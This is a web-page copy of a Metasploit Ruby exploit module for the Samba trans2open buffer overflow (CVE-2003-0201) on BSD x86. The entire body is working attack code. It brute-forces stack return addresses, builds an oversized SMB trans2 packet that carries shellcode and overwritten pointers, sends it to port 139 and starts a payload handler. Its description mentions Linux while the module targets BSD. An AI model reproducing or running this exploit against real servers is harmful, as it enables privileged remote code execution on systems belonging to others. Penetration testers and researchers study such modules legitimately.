Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/freebsd/samba/trans2open.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::SMB::Client9include Msf::Exploit::Brute1011def initialize(info = {})12super(update_info(info,13'Name' => 'Samba trans2open Overflow (*BSD x86)',14'Description' => %q{15This exploits the buffer overflow found in Samba versions162.2.0 to 2.2.8. This particular module is capable of17exploiting the flaw on x86 Linux systems that do not18have the noexec stack option set.19},20'Author' => [ 'hdm', 'jduck' ],21'License' => MSF_LICENSE,22'References' =>23[24[ 'CVE', '2003-0201' ],25[ 'OSVDB', '4469' ],26[ 'BID', '7294' ],27[ 'URL', 'https://seclists.org/bugtraq/2003/Apr/103' ]28],29'Privileged' => true,30'Payload' =>31{32'Space' => 1024,33'BadChars' => "\x00",34'MinNops' => 512,35'StackAdjustment' => -350036},37'Platform' => 'bsd',38'Targets' =>39[40# tested OK - jjd:41# FreeBSD 5.0-RELEASE samba-2.2.7a.tbz md5:cc477378829309d9560b136ca11a89f842[ 'Samba 2.2.x - Bruteforce',43{44'PtrToNonZero' => 0xbfbffff4, # near the bottom of the stack45'Offset' => 1055,46'Bruteforce' =>47{48'Start' => { 'Ret' => 0xbfbffdfc },49'Stop' => { 'Ret' => 0xbfa00000 },50'Step' => 25651}52}53],54],55'DefaultTarget' => 0,56'DisclosureDate' => '2003-04-07'57))5859register_options(60[61Opt::RPORT(139)62])6364deregister_options('SMB::ProtocolVersion')65end6667def brute_exploit(addrs)6869curr_ret = addrs['Ret']70begin71print_status("Trying return address 0x%.8x..." % curr_ret)7273connect(versions: [1])74smb_login7576# This value *must* be 1988 to allow findrecv shellcode to work77# XXX: I'm not sure the above comment is true...78pattern = rand_text_english(1988)7980# See the OSX and Solaris versions of this module for additional81# information.8283# eip_off = 1071 - RH7.2 compiled with -ggdb instead of -O/-O284# (rpmbuild -bp ; edited/reran config.status ; make)85eip_off = target['Offset']86ptr_to_non_zero = target['PtrToNonZero']8788# Stuff the shellcode into the request89pattern[0, payload.encoded.length] = payload.encoded9091# We want test true here, so we overwrite conn with a pointer92# to something non-zero.93#94# 222 if (IS_IPC(conn)) {95# 223 return(ERROR(ERRSRV,ERRaccess));96# 224 }97pattern[eip_off + 4, 4] = [ptr_to_non_zero - 0x30].pack('V')9899# We want to avoid crashing on the following two derefences.100#101# 116 int error_packet(char *inbuf,char *outbuf,int error_class,uint32 error_code,int line)102# 117 {103# 118 int outsize = set_message(outbuf,0,0,True);104# 119 int cmd = CVAL(inbuf,smb_com);105pattern[eip_off + 8, 4] = [ptr_to_non_zero - 0x08].pack('V')106pattern[eip_off + 12, 4] = [ptr_to_non_zero - 0x24].pack('V')107108# This stream covers the framepointer and the return address109#pattern[1199, 400] = [curr_ret].pack('N') * 100110pattern[eip_off, 4] = [curr_ret].pack('V')111112trans =113"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+114"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+115"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+116"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+117"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+118"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+119pattern120121# puts "press any key"; $stdin.gets122123sock.put(trans)124handler125disconnect126127rescue EOFError128rescue => e129print_error(e.to_s)130end131132end133end134135136